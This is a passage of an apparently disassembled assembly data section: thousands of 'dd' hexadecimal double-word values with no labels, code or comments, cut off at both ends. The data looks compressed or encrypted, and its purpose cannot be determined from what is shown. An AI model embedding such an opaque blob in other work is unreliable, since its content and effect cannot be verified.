0D025A25Ah, 6066E20Eh, 8030D5ACh, 0B5F0C82Bh, 0CD4CE94Ah dd 5A31A8D1h, 25A8F624h, 0E7AB5509h, 29F51802h, 1AD70Bh dd 0BFC139DCh, 462FA012h, 0ED55956Ch, 16DC10B0h, 6FD38004h dd 0C2265BDh, 2862E928h, 4B018F22h, 0CB26AEF9h, 2D125DEh dd 46C4B876h, 0DE8B6042h, 0FB109898h, 9D81CB00h, 733F2FD5h dd 0AF021E47h, 8361C553h, 0FE2C02A5h, 3FF9880Fh, 7502F202h dd 630BFC5Eh, 0D1D8D781h, 0D8D04722h, 0D0AD9C85h, 89149744h dd 1910CD20h, 2F3DBD89h, 2B6F2B6Ah, 0B65FB807h, 6AF05031h dd 0B19788D9h, 0E130B5Eh, 0D286FCA8h, 49620700h, 0B9B60AB8h dd 3E6DF1C4h, 0DA259DE8h, 7D6AE2A9h, 3BC0D8CDh, 5E9FCFE3h dd 2158827Ch, 17ACFC05h, 0F5C02B09h, 574AFF5Eh, 5E20E909h dd 0B3DEFAE0h, 3C0E35D4h, 0DB53AF82h, 0B0E22BB6h, 0F04B655Eh dd 0C09827A0h, 85294E98h, 64EA894Bh, 93FDC386h, 38FA16C0h dd 316E730Eh, 0A00701EBh, 32FB4341h, 5B39499Ch, 9EDC5F5Eh dd 0B500D4DBh, 79989A23h, 917637A1h, 957280A3h, 43B6D1C5h dd 58401E00h, 2D1D6024h, 0FB8B254Eh, 7E2761E5h, 87B7AFB3h dd 3EDDB102h, 0FD014025h, 396C970Fh, 64FCFC95h, 0D65FBDF9h dd 0FBA5E7F6h, 38F88B84h, 0E8E1FF04h, 0C5994E0Ah, 2F806CACh dd 4AF60E0Bh, 0F01F1339h, 94975F9Bh, 893E4468h, 265D9D12h dd 468546F3h, 207AFB04h, 0F88B0E09h, 0E5465B79h, 5F502649h dd 0FE62A586h, 9A70175Bh, 0DEF302D2h, 6FAE907Dh, 75F3105Fh dd 276C0E42h, 9662CB21h, 5ED6849Dh, 661AC225h, 0F0FF04D3h dd 0EE6E3956h, 4A1AAC9Dh, 3C0C56C0h, 0D2146CFFh, 12C728C5h dd 6FAE2DB5h, 1D23FDh, 125759B5h, 601D8DB8h, 0C665D52Ch dd 75CDA1D5h, 905CCC2Fh, 0B90E0BE6h, 0F6500708h, 1282EBDBh dd 0E1663EDFh, 7B957000h, 45C86428h, 9C6E17A4h, 0E97CBD3Ch dd 120C68F4h, 12E9C471h, 448B8D9h, 165A92F3h, 52DCC3E1h dd 0F94C955Eh, 606D9895h, 402194F5h, 0A6172511h, 8F5F4700h dd 79BD8E42h, 0CC06001Ch, 361ACE01h, 610E5A77h, 1C0232E9h dd 1A9D7823h, 500FE37Ah, 73EAAD8Fh, 3B35CCC8h, 0E0B89377h dd 8D274BFAh, 9C132A80h, 23756BAFh, 31F40215h, 0DC42B529h dd 0B57E6EF5h, 1659EB73h, 91004666h, 689BEC2h, 0BC1210BBh dd 64646A04h, 161846E2h, 77BD4C7Fh, 0F9448B02h, 5C7BA8E6h dd 1B7B2D20h, 1CAB0A70h, 6412A11Ah, 50DE0468h, 0A7B260h dd 6C9C7E7Ah, 0D9E5B9h, 323B2F11h, 0FB8687A8h, 790B910Bh dd 8151960h, 756F0h, 1AB2B7A6h, 8E698402h, 578D5A04h, 42FE615Bh dd 5850F91h, 36259FCCh, 5753C2DBh, 7F80BF3Dh, 0E464F45Ch dd 2C47106h, 6B3F68F5h, 0BEFC1231h, 0A478B002h, 125D0B6Ch dd 2E02605Eh, 7806BB12h, 844E9B2h, 0FF860313h, 8C7EEA76h dd 4B7CB9A4h, 0E880CA9Eh, 379CACFh, 0A2EB201h, 5690F8ACh dd 4E07C723h, 0F38E119h, 3B18EEE0h, 53003925h, 45DCB42Dh dd 28BE2080h, 39F05BC1h, 0BA8F0FB6h, 4AAB157Bh, 5200BDF1h dd 57458DE7h, 0A12D006Eh, 46414A3h, 0E8EA27A9h, 90E18150h dd 285B795h, 0AD3E159Ch, 3B5DA741h, 0DA97E2A3h, 73A380B5h dd 0B8B68AEBh, 0F9615B07h, 4F5B8FBh, 49BD3325h, 0DAB21229h dd 0C99D33C1h, 39CE2B02h, 0C6EE2727h, 335F5B00h, 0FCDA4E0Eh dd 8BC50047h, 582FF72h, 21E4D6CEh, 11A0AC4Fh, 0E4758A19h dd 0E38012AAh, 6E6BBAC9h, 6D301DE2h, 76DC006Fh, 0FD3B10F9h dd 39B0943Dh, 30030125h, 4E9B1E9Ah, 47FBA054h, 2A928000h dd 0A672B00Ch, 0E6A70074h, 0D178EB81h, 5F2E3035h, 85588F8Ah dd 3F538938h, 0BA936CA8h, 965F0332h, 371D67ECh, 2191D20Bh dd 0F92D9457h, 74AE8844h, 0D297A82Dh, 9A4E75B7h, 1398F39h dd 96CEA69Ch, 0D189B53Fh, 0EE8ACCC1h, 4A66FC9Dh, 0A49614D1h dd 4E72A94Bh, 1CACC1ADh, 954B008Ch, 4854FEA4h, 0B812DA02h dd 90BA8529h, 21499D5Ah, 6BD1D19Dh, 8266EB5h, 0B63515BAh dd 88BA92A2h, 1DF8316Ch, 40B57995h, 0C4DB8153h, 168E8A0Eh dd 60F3E15Fh, 57F64933h, 0B19DD730h, 3D9D145Bh, 6F1E122Bh dd 56832D6Fh, 60D926FEh, 0B2C23DCBh, 0D0D13700h, 3E10365Dh dd 0F57EC5E2h, 3B20AF1Dh, 4E62BB66h, 0ACD4E96Ch, 1E058C18h dd 8B7B2E25h, 84D1A20Eh, 3B805E5h, 591058D4h, 38895F0Eh dd 9EA03Ch, 0D1EBB09Bh, 9D003DBCh, 0C3CB6DF9h, 0E4A1EC12h dd 8027E3B3h, 0DA51DF14h, 5D0EF704h, 82EDAD5Bh, 241AF9B5h dd 0FCD6AC52h dd 0E9128C16h, 0C382F1A6h, 586DF50Eh, 77373E9h, 0D0025A95h dd 2E7C34D6h, 0F2A3D0D2h, 0D5B58904h, 0E2CEAC04h, 28A4283Ah dd 20514BCAh, 9AE0827Eh, 0DC288725h, 0DBF83468h, 69ADC272h dd 0A1EDE45h, 0E07E7D9Dh, 2C9AEF81h, 6E584125h, 33EDB58Dh dd 8CAB4744h, 85045530h, 20118D89h, 127CCBEEh, 7FB20C4Dh dd 809F9AD7h, 0C679E74Eh, 0E9A34C1Dh, 47D54C04h, 0A284AC72h dd 9802C42h, 7BE6264Ah, 31301DF2h, 2927DE2h, 0D54D9F66h dd 6655CD5Fh, 8DB7128Bh, 2DA321C6h, 878F2B24h, 0A110C048h dd 88E9132Fh, 0F89217BAh, 0DA174E8Eh, 0B3DB1921h, 12B006E8h dd 0B380D4ACh, 21326F6Fh, 0D98B9084h, 4A65A63Bh, 0B6A710A6h dd 4ABFD001h, 6EB07D77h, 691FFAA1h, 35173494h, 1F8B7AABh dd 70019479h, 13E31FB3h, 0B8A6D085h, 16EA8407h, 92EEB937h dd 680916B8h, 5E585B24h, 0D11D09BDh, 9F6E00E0h, 0AA5693C5h dd 9895E700h, 0AF677B7Ah, 0EF604EEEh, 0D9850631h, 61135978h dd 0AE88BF5Bh, 9273001Ch, 0AC3C6BEBh, 409528C0h, 998F0F58h dd 522281h, 6E1C211Eh, 801370E4h, 50D1E72Fh, 226D9536h dd 57DE0EC2h, 0C040F86Fh, 957C6AE5h, 0B8257A9Bh, 0C43D381Eh dd 0B0F33CECh, 25875D00h, 0ACF9DA0Dh, 62B2EF01h, 3AA94146h dd 0AEDFBA40h, 0CD5B4AFAh, 0C896098h, 0C1A3DC8Ah, 892441BDh dd 58F8B779h, 0C59D10A7h, 84BBF30Dh, 0DFA0FEE7h, 1D3AB9F4h dd 76C88C8Ch, 532B57Dh, 0FC026A54h, 8054AC90h, 0C8C389F4h dd 0E92EE3FAh, 9860A26Ah, 7FF09195h, 699A0068h, 11B98074h dd 8400370Fh, 95B8CA0Ch, 7D5E0BF3h, 0FAC52766h, 2A607441h dd 3C125588h, 7A808BC3h, 87849073h, 3F0718E2h, 61C58A62h dd 0ADE537ABh, 894921F4h, 7DAAB249h, 0A4A1F710h, 3C924A00h dd 73E2D805h, 0E19D3023h, 0BFE95B29h, 20EC9C95h, 0DF82B8B0h dd 298592D4h, 6FA06995h, 0E6514AB7h, 3317B222h, 0F9BCADD8h dd 4DB79013h, 12253BA8h, 887F653h, 6FF03C4Fh, 255D019h dd 0A64452B3h, 0F88190E6h, 2A9DFDEBh, 1CE2EDE6h, 1336030h dd 228E6139h, 2B5FCFA3h, 0B516B364h, 8D8ED2ADh, 9D0B0471h dd 0CBC82DB9h, 6AD416B6h, 0E122E6FFh, 0B06EA574h, 1C5EA965h dd 0AC9646DEh, 5B8D2D2h, 349C984Ah, 60C0B089h, 0D5D70281h dd 29208A0Dh, 0B098E4F7h, 21B5314Fh, 8470E6DFh, 71E4F84Ch dd 4C8F22E8h, 0D6FC440h, 0BD3CAF8Ch, 0D9780010h, 9943272Eh dd 9DC9253Eh, 0C2F78D69h, 0E12791Ah, 19203255h, 0C160183Dh dd 78CACC00h, 575FB2BAh, 0E88D4A31h, 30AE9613h, 0E927BF1Eh dd 2AAE6195h, 5774C112h, 0DE342840h, 0C62013F8h, 0E9CAA46h dd 9D297560h, 5624B852h, 4232E65Bh, 8D868204h, 41DD091Ah dd 9740C85Bh, 12109ABBh, 67D18B30h, 43CFE007h, 583BEE8Ah dd 0BF76D0E9h, 2A40DE58h, 0FF5A0908h, 239DC9E4h, 0DA1220C9h dd 8B1D83B4h, 506EBDD3h, 0D9F78026h, 2F4C4A33h, 1D514EE9h dd 0BCC7BA4Dh, 0FF8D8B03h, 800F0312h, 95F5A1B4h, 152C9591h dd 9D8904AEh, 0BA0A1313h, 0FE181EA5h, 802439AAh, 67AA9589h dd 89157975h, 7B590BF5h, 0C37D042h, 929D0522h, 513282D3h dd 0A1CE551Ch, 6FCDF2CCh, 0FC131B9h, 93D8B76Dh, 6782FCBAh dd 0BBE00E2Fh, 502C6C48h, 805A46B5h, 2D1A4BD7h, 4F6DD22Bh dd 0F505EBCFh, 0D95D2DB2h, 0C362302Dh, 0CBA32213h, 75BA8FE3h dd 4E7B4D56h, 90CE4FCh, 1094B576h, 7D1A4225h, 580B90BDh dd 3FA0441h, 354BFA55h, 4A2DA862h, 4A8A1B8Ch, 0D21CCAFEh dd 0F7702C8h, 0D9BFB729h, 2C6096AEh, 4BFD51FCh, 7A256217h dd 0F916AEF7h, 0EE38AE2Bh, 5D7B977Fh, 2C032D8h, 188258FEh dd 1540A4DFh, 0B2952C51h, 195C6009h, 0AA599521h, 0F3ED395Ch dd 0D14BBA8Fh, 99CFEA0h, 7A95D9BDh, 8BE117FDh, 0E69288F8h dd 430D841Fh, 0AF816D40h, 1714218h, 3F5BEE9Fh, 2BC3BBCFh dd 8AB41328h, 0FFD96C41h, 735DA12h, 0B88817B3h, 5A3AF0A5h dd 8853B329h, 9B60926Fh, 8E6C854Fh, 2005D182h, 73820EBBh dd 2A091475h, 58393C36h, 0E25EAD28h, 260D40Eh, 64B5172Dh dd 8004B14Ah, 56E02E88h, 1D01B1A9h, 7B5E67F4h, 522C4A5Bh dd 6F7A6480h, 7625AD63h, 932A6948h, 0B018F73Ah, 0EB1C06Bh dd 8F8D6116h, 520D3B00h, 5D589D01h, 52E19245h, 0AD4BCD79h dd 14EDE810h, 0E51EEEB8h, 0AF143D13h, 0B1824274h, 2DC62811h dd 0B3C13857h, 0A3DA12AFh, 0EA27FB47h, 9616022h, 0F4013FC4h dd 3A6DBD8h, 1C81585Ah, 242E2BBh, 93F27B4Ch, 3F62B94Fh dd 0D2509666h, 0F43E2DABh, 59B7A39Dh, 0C0939FFBh, 849B6E3Dh dd 0DB02A4A0h, 5EBB412h, 39DFC09Dh, 60FFCB8Bh, 0B264720Eh dd 0CE99AA02h, 0A116EDC7h, 950F34EBh, 5324FF5Eh, 6A808FE8h dd 0FA3C9961h, 0BA58C600h, 0E171D12h, 0FE56D20Ah, 5BE5A699h dd 9DF80CB9h, 14015637h, 28764B5h, 0BD09006Fh, 0C18D8979h dd 5C74225Fh, 0FD8096E8h, 50994D9Bh, 0FDB78B9Dh, 7B00313Fh dd 6BAE54A4h, 897E0B31h, 0DB243865h, 97021621h, 0D05B5h dd 1C4E95Fh, 49D55682h, 1B619BDCh, 44713B02h, 0F993172Ah dd 0CA6EE924h, 0F1EE6276h, 2FE5D523h, 408B4DA5h, 0B6EE34Ch dd 54264297h, 9976EBBBh, 3C9001DCh, 0B5AB483h, 0F040D648h dd 6EB50C71h, 9A37B0CCh, 54C73FF7h, 9794FAC9h, 0AB465A7Fh dd 1F004C6Eh, 40379BCFh, 39254D3Bh, 5515189h, 20E85350h dd 3768A3DCh, 986B6701h, 39E4FD80h, 9481863Ch, 0F8FB9FA4h dd 7C00E9F0h, 1A20FC8Dh, 0D65F3088h, 0B9378402h, 48CCB947h dd 9F3FC0Dh, 38F683BBh, 8A4CC59h, 6876803Ch, 0B7F0426Ah dd 0C0DF4B8Bh, 2EC19529h, 0FC554855h, 0E7042A8Fh, 4F0CD715h dd 7E8EF2EEh, 0A8BCCC4Bh, 0B72F9451h, 8B9DA0D2h, 0D0DA01AAh dd 6344252Ch, 0CB9228F0h, 2B115D89h, 0EB92BC50h, 0ED6C55AEh dd 90CBF304h, 9AAEFA8Bh, 0C516C82Bh, 6119C2E1h, 2E0FD4Dh dd 3AC8B28Dh, 0D1094CF3h, 65551B05h, 0D9D849Eh, 0D2673C1Ch dd 8052BC27h, 1CD9E698h, 9D2CFD66h, 0ADB00D80h, 7A079A75h dd 51B940C5h, 4E7B03E0h, 8B80177Dh, 2F3BACD8h, 0D8E8DB59h dd 362E0164h, 26022C6Ch, 5C1297AAh, 46CD4062h, 7500197Ah dd 2E7BA36Eh, 4F83371h, 0A00FC4DFh, 18F38279h, 78509D55h dd 6DB7DEBFh, 9F61CA4Ch, 58A57CAh, 0CE2D2914h, 7C853CF9h dd 0A6BD9Dh, 40DB82ADh, 0FC24B37Fh, 0C709EDEEh, 6B25168Fh dd 30FF5B89h, 4A3FBF17h, 0AC1CB945h, 6E038C1Ch, 0D8E669CCh dd 0AE49808Dh, 0F1DF0581h, 0AB5ED2F2h, 219D5ED8h, 0D14902C1h dd 9D9A009Dh, 0EBD02FE0h, 5B04B174h, 50964CCEh, 0C4838Ch dd 0F47D629h, 8AFABF0Dh, 5F74420Ah, 16DEA496h, 0EEE50B9Dh dd 57077E49h, 1991D435h, 31FC7687h, 2B8762CDh, 0EF80A930h dd 0BF89ACB8h, 0B3D5810Bh, 0F459B309h, 3EB3DDAAh, 9D845DEDh dd 0D980AD20h, 432DD118h, 6F04C212h, 327900F5h, 0C810D0EEh dd 0B9A60921h, 7658F5CFh, 13DCFDBEh, 14A64BD1h, 651302CEh dd 0F074AB1Dh, 20D772A8h, 0C01F5A83h, 0F8B96509h, 818D56Ah dd 0C10785C4h, 0FAC9D53Fh, 0F86B2653h, 0BF38255h, 6DC87C8Eh dd 2B094FD4h, 59345B24h, 228181Ah, 0AC6E74DFh, 57DE77Ah dd 0DBFE22D6h, 5AD8D2B1h, 2B3F0F4h, 1490230Bh, 0A140AFD3h dd 6D123E52h, 0C1FE9633h, 0DFBDB780h, 0DF02E9B7h, 0E65463E1h dd 551B49E2h, 17917337h dd 4B233481h, 8DBC3F18h, 24E909D6h, 5AC7A659h, 0F4885E09h dd 0D6160C00h, 58DAA226h, 50CF271Eh, 89F9F47Ah, 0C461F906h dd 44BC1F25h, 87A784D8h, 4AD0ACAFh, 258E6EBEh, 5044C577h dd 9F0295ACh, 0E5FC40E2h, 1E8DC6EEh, 49D6D63h, 0EE7F7D67h dd 0A15E21CBh, 0FC352A84h, 0A91B5D49h, 0FC4F7C47h, 0D0210A09h dd 290F824Dh, 0C9657531h, 59DEB709h, 0E6447D2h, 776FEE13h dd 5D922500h, 628DB270h, 0BD4A5890h, 0C85B59A6h, 630053E2h dd 6AE418F1h, 123E8E45h, 0C81BD150h, 64019ECDh, 0E1F487F6h dd 0B62AC65Fh, 1DC900B4h, 1F0E925Ch, 497B0054h, 0BF840847h dd 0B0E0DE4Ch, 56274625h, 7AFA71D6h, 1928C6B1h, 8B0D5105h dd 8132BAC1h, 583A55FCh, 0BDB555h, 0A67A854Fh, 0A0B521CCh dd 0E7BA603Dh, 547400E5h, 0B61DB966h, 3CF95061h, 1CBFC009h dd 0F412D54h, 0CA8B585Ah, 0BD339080h, 59952189h, 18318859h dd 0C7609F24h, 690F6997h, 24FC247Fh, 0CD9900DCh, 42A979D0h dd 0F54A5198h, 0C7F9FA02h, 3DB7F507h, 2358487h, 0EC3FCBE0h dd 84744B58h, 0E021A61Bh, 1CAB74Eh, 0D5639771h, 60980E95h dd 1F40A5A4h, 91BD5B29h, 6A5350E6h, 0B02963E1h, 7A03C5BCh dd 954BBFE6h, 776A9AEBh, 1B87FB7h, 0A0D5522h, 8F7461C9h dd 8D0F802Ch, 0E98D5697h, 2D9EE575h, 0CE402B6Fh, 0B5D5BD31h dd 0CB0BB3F1h, 86ADCE5h, 9DF61DF9h, 0D4C41EC4h, 74AA2199h dd 608F8DEAh, 0DE009697h, 0BD443FAAh, 0F3EE7h, 4DCBD7FAh dd 203DB149h, 9D03550Bh, 0D16F1141h, 80179B2Eh, 0E580F0F9h dd 0E6052C2Ah, 0B9E11568h, 30256E4Dh, 8A1784C7h, 0E8EC48A9h dd 0DE908D00h, 7395387Ch, 26A0835h, 9BD05E9h, 84AE31BBh dd 19B2897Ch, 0B856C44Ah, 0D877817Fh, 5EE80F84h, 0CC203F3Eh dd 712FBB82h, 8B77473Ah, 0A22BD54Dh, 6EC1704Dh, 872A6DC9h dd 0CA2945F7h, 0BB660570h, 0EC1E420Eh, 16E92DA2h, 0E9CF9A59h dd 5E1289C8h, 6D00DC29h, 0A3D09778h, 5A91B589h, 0E87AA91Ch dd 2591989Ah, 605B29C1h, 77044DA6h, 0E2EA907Fh, 4A905A92h dd 27D8BB36h, 0E75C5BC8h, 5687D91Ah, 9AD7C967h, 0DE91029Fh dd 0C2DF09ACh, 73FB576Dh, 90CE5Ah, 6ECCA542h, 101E5394h dd 6AAE164Ah, 5A172E33h, 0A139F3C0h, 1D109577h, 0B800DFBCh dd 589F8B50h, 0B7F46Dh, 0E36291A0h, 0FF6ACD24h, 0D7843BBh dd 949D2CA6h, 0A1006BDBh, 7D584FE4h, 55173A03h, 98993D20h dd 17390BD1h, 0FEBB6C9h, 0F6F66580h, 0C28500A7h, 2B42BAAh dd 0EAD1BF0Eh, 629F6C25h, 0B0F52FFBh, 25393BD4h, 92C41Ch dd 0C4BBFAB7h, 0E46B65A4h, 0F88B7112h, 8ADC81E4h, 2610A754h dd 8087C04Ah, 5CB555EBh, 401C4AFBh, 0F3B51D78h, 11DF2B0Bh dd 40268CF5h, 0EF174B45h, 0C4D92433h, 1EE8E013h, 7E2F788h dd 0BC41FBBFh, 5F56EB18h, 25164237h, 1D11E31h, 23E26795h dd 292275F0h, 80E92D30h, 1D259C10h, 19637DDh, 91D335F8h dd 3307C04Ah, 77D80145h, 0B7D5383Ch, 0B51E4EFBh, 74482B4Bh dd 9D238410h, 4601C835h, 81BF17C0h, 97717BAFh, 6B40671Ah dd 9584E995h, 31422959h, 5FEADD9Dh, 0D0CA6656h, 4292D20Dh dd 85606102h, 815841A1h, 8107558Ah, 66612E61h, 7DF64791h dd 0D9E4844Dh, 0F665E787h, 80149EBAh, 0D88B3E56h, 0DCD6B5F8h dd 0A337BFEh, 645BFDE1h, 0B9C7028Ch, 1BD52B60h, 0F32C948h dd 0FC1C222Fh, 0D0E04EEDh, 16AF95FCh, 0AC56FA2Ch, 0BB07DF98h dd 44F940Ch, 9F6C02Bh, 0BCDB1EE0h, 1BD0B0Bh, 0F931D71Fh dd 0D6E77AF9h, 68E6F4h, 99AB9F54h, 135FB916h, 0E10851C1h dd 3DE3E945h, 4A1B8F2h, 0B257F987h, 4B76BC7Ah, 35210E89h dd 0AA92942Bh, 19C8DE9Ah, 0A91040CEh, 994315BBh, 4166809Fh dd 0B4C6AEC9h, 47BCBF25h, 0BDB309EAh, 31822679h, 55216D85h dd 18E9BA65h, 2442D6Dh, 0DDC30CABh, 0EACD3548h, 1DB882E0h dd 98DB675h, 3C792595h, 7BBB77C5h, 14D1219h, 0B88E12F8h dd 707BBF12h, 0BB4DFD04h, 0D44EBC49h, 0BFA53188h, 6E2AE1FFh dd 0DCF7006Ah, 0A6D6963Eh, 0CAB14B90h, 0F6732734h, 3501F6DDh dd 9D89F52Ah, 382F1A11h, 488A5D4Eh, 0BD2AB9AAh, 9DF0944Eh dd 4B0D3120h, 7B5CCA61h, 5E2C628Ah, 2D4CB194h, 0DB600231h dd 89E070CCh, 1F342702h, 5790887Ah, 2B02F371h, 0D50FFDBDh dd 0B5899090h, 8A894EB4h, 910D7DAh, 9D8C2C8Dh, 9ACD9C4Ah dd 0CBA97DEBh, 76A727D9h, 0FFF16BFFh, 0A031D5C0h, 0ECE7004Bh dd 0AA9B8424h, 0AB97384Ah, 0D23D551Eh, 52F89B13h, 87813F3Ah dd 311B2003h, 271872BDh, 32CD990h, 1F55A4DAh, 643A9890h dd 0FADD212h, 3F8C89AFh, 0E37A2FB1h, 0DC19007Ch, 0A7D3CC78h dd 90AF255Fh, 5C272DB7h, 6AF589EEh, 0C0871AD5h, 95ADFD71h dd 64442D76h, 0E874C8EFh, 0DD4E883Bh, 40E20A3h, 2E10685Fh dd 9FA2BE56h, 0EF5A6000h, 0D70CDFB0h, 8D88BD00h, 82657B30h dd 0A0D64A63h, 2D17EF15h, 0CFBC2149h, 0AC4E3D4Dh, 3102AA43h dd 86355042h, 3BC2715Fh, 168C9E00h, 0A2095756h, 0E6859312h dd 0B64B2DF2h, 34DEF0CBh, 0B8FCF864h, 92E43AF7h, 0E701CF12h dd 5EEEA0D9h, 0C06F95BCh, 0D9167326h, 385C6BAFh, 9F867014h dd 1C0441Ah, 569716D1h, 0B0B7DC40h, 0F10E841h, 0D791AF70h dd 0DFC6711Eh, 0AF827A5Bh, 9294FA81h, 157D2051h, 0E1242790h dd 0F50E005h, 63BABE89h, 41132381h, 0A3E30446h, 0C0F63127h dd 0A1645F49h, 58F39400h, 38FBFF61h, 6E45008Ah, 5FD3C473h dd 0E901823Bh, 0EEBB9BDEh, 8AFABC2Ah, 2F2453FDh, 0A6351551h dd 0C8B19A2Ah, 5DF6C016h, 0E72780CCh, 11765B9h, 28F236BFh dd 0FA0F7044h, 0CC45ADE5h, 8FB6A3D0h, 0AEDD394h, 0CE74BA80h dd 79BD0EB7h, 0D88B8F48h, 0BDE013F2h, 0AAA64AC2h, 0C03019B2h dd 93970261h, 9D316C28h, 8A425CC6h, 45FDB84Bh, 0DECCA7CAh dd 0AE081273h, 5F441267h, 790E5149h, 104FAF3h, 0DAAB25F9h dd 0C01BC8EFh, 0EC9A8FA7h, 0DC66905h, 0C2EA61FDh, 85E7FC2h dd 25A0745Ah, 551CE045h, 52F65E38h, 12E9F6F0h, 812B13C0h dd 19BBFDh, 0E3AC4D54h, 1327BE0Eh, 8CBA6A01h, 38E90A72h dd 2AA73Ah, 0B8C09C32h, 5A35F4Bh, 55242BBAh, 0FDEB129Fh dd 0F1F84BB3h, 5E48EF09h, 4D7F371h, 0BBF59531h, 0CCC0D5DEh dd 29F13752h, 6FE9BD24h, 0CF80608Eh, 4D8D427Ah, 889CE72Ah dd 0D0AC3985h, 3CAEB912h, 27D32685h, 0FC1C4C6Fh, 21F785EAh dd 0D3CF023Bh, 31556CF9h, 0B92AD800h, 745CA978h, 5473017Eh dd 250B5D6Fh, 3B816EC9h, 0EA04219Dh, 612577A2h, 59695E56h dd 0F3FC9286h, 7AC5F0Ah, 2C2D4510h, 2760F496h, 0BB2276h dd 0E6029C14h, 0AD7FDA63h, 0D5D31A0Bh, 63817F85h, 7A96AA0Eh dd 88466DBh, 7E9A8C66h, 0C4F07D1Dh, 4C88A600h, 2BCAB1h dd 6258DE94h, 0E8491DA4h, 0F20C44h, 0B58C5342h, 0E426406Ch dd 7ED9A816h, 0D83FFAA8h, 0A7E4B1ADh, 0DAD5860Eh, 13DE20F1h dd 0BD88493h, 0D9AD8CCBh, 1ADFC589h, 0F0DB3269h, 0CD72159Dh dd 0FD005554h, 3DB6C30Fh, 8E0033DFh, 3CDED0BCh, 1281EFD1h dd 0ABFFF5D9h, 0D897969Ah, 99027509h, 0BDEFDD68h, 0EED75D0h dd 61601564h, 0EA0BBF38h, 561B5634h, 86E8CC22h, 85CCC84Bh dd 8D9D2F0Bh, 5251C85Eh, 2EE5F12Eh, 3A9B7D12h, 0C531AC93h dd 0DCA80939h, 0DB26BE92h, 20502D44h, 184BDDF0h, 0FB7265DDh dd 3C270100h, 0FD7DADC8h dd 35F3DF04h, 76BD81A7h, 0E8F2AD4Bh, 0E43D2D0Dh, 4269C9F6h dd 81852075h, 2D42B4E3h, 0D06438E8h, 801CF301h, 7AE73951h dd 132C0FD4h, 0B979C2DAh, 0BF1E86Ah, 23F479A5h, 4BE70B82h dd 1709B4DEh, 0EEB35EF6h, 8BF619E9h, 71B46DEh, 3429E2BEh dd 1CB1A620h, 0BB500196h, 4C1B6D0Bh, 4E75DE5Fh, 78CC183Dh dd 54520A96h, 84545B5h, 81002E7Dh, 0FC7811F7h, 7194970Ch dd 0D5DC5F5Fh, 28BA004Eh, 0D576508Dh, 0A2EED94Ah, 24FFC38h dd 0BDCA5BFBh, 0C159DDh, 0F13C7E1Ah, 5D01B623h, 0DA5CD0Ch dd 2AE5B57h, 99E2601Dh, 2E393D3Fh, 87293E83h, 0FF98F5Ch dd 173B7230h, 63AA5C6Ch, 6558E148h, 0CC05FF74h, 0F78A0322h dd 0B1566D0Bh, 50704527h, 0EA09EF34h, 4490A8Dh, 604A0E42h dd 180D0BF4h, 1D356DC8h, 9A2B6181h, 0C017C86Bh, 0EA9E6FFFh dd 0B35060A4h, 0D52D9DD0h, 79E15314h, 1F5181Bh, 2EDA9009h dd 54EBD2A2h, 0A28FB89Ah, 94422948h, 0C6676C5Ch, 0DE25540Bh dd 5AAF3302h, 0E9603B74h, 0D86E1CAEh, 0EC03BBFFh, 0A5FF4B98h dd 0CC638127h, 12E667C4h, 0F261507Eh, 22C5D073h, 3161B741h dd 7B112F18h, 7FF7002Ch, 111FF1E0h, 0ED5F00B5h, 6DB4BCD2h dd 8B2DBAD8h, 70D553C1h, 0CD00887Dh, 5ACC3149h, 251501BBh dd 195722A7h, 0E220CB51h, 0DB83480Fh, 5F535282h, 0BFFFF85Fh dd 0ECC0E16Dh, 33ADEA6h, 3F68DB6Ah, 0EEB56432h, 3300536Fh dd 423A8694h, 0BA01B94Bh, 0BD89CCF9h, 0E67E25ADh, 0DEFA2F79h dd 59270060h, 83A3B6F1h, 0DAD80D06h, 74340BE6h, 6A5B8195h dd 0CC813BDEh, 2DDE2805h, 2BA940B2h, 0BE9207E8h, 0FC03FD25h dd 634FC0EFh, 0ED0202CDh, 432C4657h, 27BC5E4Ch, 0F4DC7BDCh dd 0E43E7CFAh, 0D3AD12AEh, 0D35A1316h, 0FEBA90CCh, 5F499AD5h dd 948BF1EDh, 6FC481h, 793B4C0Ah, 0F4111CB2h, 0D5091B72h dd 80CEC5B0h, 6255C9E4h, 6870BD5Fh, 7883E973h, 5C9571C6h dd 0EB83201Ah, 0AAEDF08Eh, 0C8F10030h, 0D5361F48h, 118B908Ah dd 954B23DDh, 0BD7ABA80h, 48662700h, 1EE8CB14h, 9D161F4Fh dd 0E6B874ABh, 3433A06Fh, 0BB1F12FBh, 10DEB973h, 62F20B8Dh dd 819D3320h, 965C9518h, 50A97B4Bh, 0CF7A8663h, 0B5316204h dd 0C8FA063Dh, 504CFAEDh, 0B8947783h, 50B405DCh, 0D82BF780h dd 7E95890Eh, 0FAE98467h, 0B232BC0Bh, 10794435h, 2E1E059Dh dd 9278609h, 5EB5D5E8h, 2E801891h, 69B607E6h, 0CDB58912h dd 0F4F8F74Ch, 95509AFEh, 0AC2E6F65h, 97DC3FD4h, 0DAF60185h dd 40CCBE54h, 0D45D4BB3h, 2D9EBF22h, 0AA6790C0h, 6A2DC05Eh dd 3BB577C9h, 4A4ACC25h, 0C9D8FDC7h, 1548552Bh, 0F69DFF6Ah dd 9D02DCF0h, 0BCEFD641h, 21F8C123h, 0C52EDE7Fh, 0FE2AB08h dd 2DF38101h, 2F79CCEBh, 8B181867h, 2DD1810Fh, 2DE5D383h dd 49AE84B0h, 0BAA9FBAEh, 0FE241A70h, 27173F01h, 0C2E432AFh dd 2DCB21A1h, 1F172F7Fh, 14A30BAFh, 0F9C43356h, 651016BDh dd 809C90Fh, 56A7A9B7h, 2BDF8650h, 5A0F98C8h, 404FEF43h dd 0A5BD29D1h, 83CDCB0Bh, 8CF2FE1Ah, 230922C5h, 0B63274B5h dd 9259204Ah, 0C307B137h, 2293870h, 0F1B92061h, 104AE23Ah dd 80C20B49h, 71551DC7h, 12F542A0h, 0DE173E26h, 0CE6A52Ch dd 6CBABF04h, 9BC7B7Dh, 48C4B34Eh, 2F0D135Bh, 4B6E0488h dd 880ED9A5h, 20200D68h, 89F9B9ABh, 67BA60Ch, 2556C308h dd 5581B1F5h, 9E6F6635h, 5D980ACh, 69DA7953h, 4089B84Dh dd 94EC9356h, 0B976152Ah, 80289438h, 0FC8A25E0h, 0D5B22257h dd 2B642F0Fh, 0B8C0F9C0h, 11D082Ch, 203B3CADh, 9E13B51Eh dd 0C4A684F1h, 40386420h, 0F59E5ABAh, 170280D0h, 579785EAh dd 2E40D4DEh, 27CDFE2Fh, 0A410EDEFh, 0D16A761h, 0EFA263D4h dd 0EB7B4E00h, 5B45CEF2h, 18DF6AE3h, 91C019C8h, 0B5E653Fh dd 880DE2E9h, 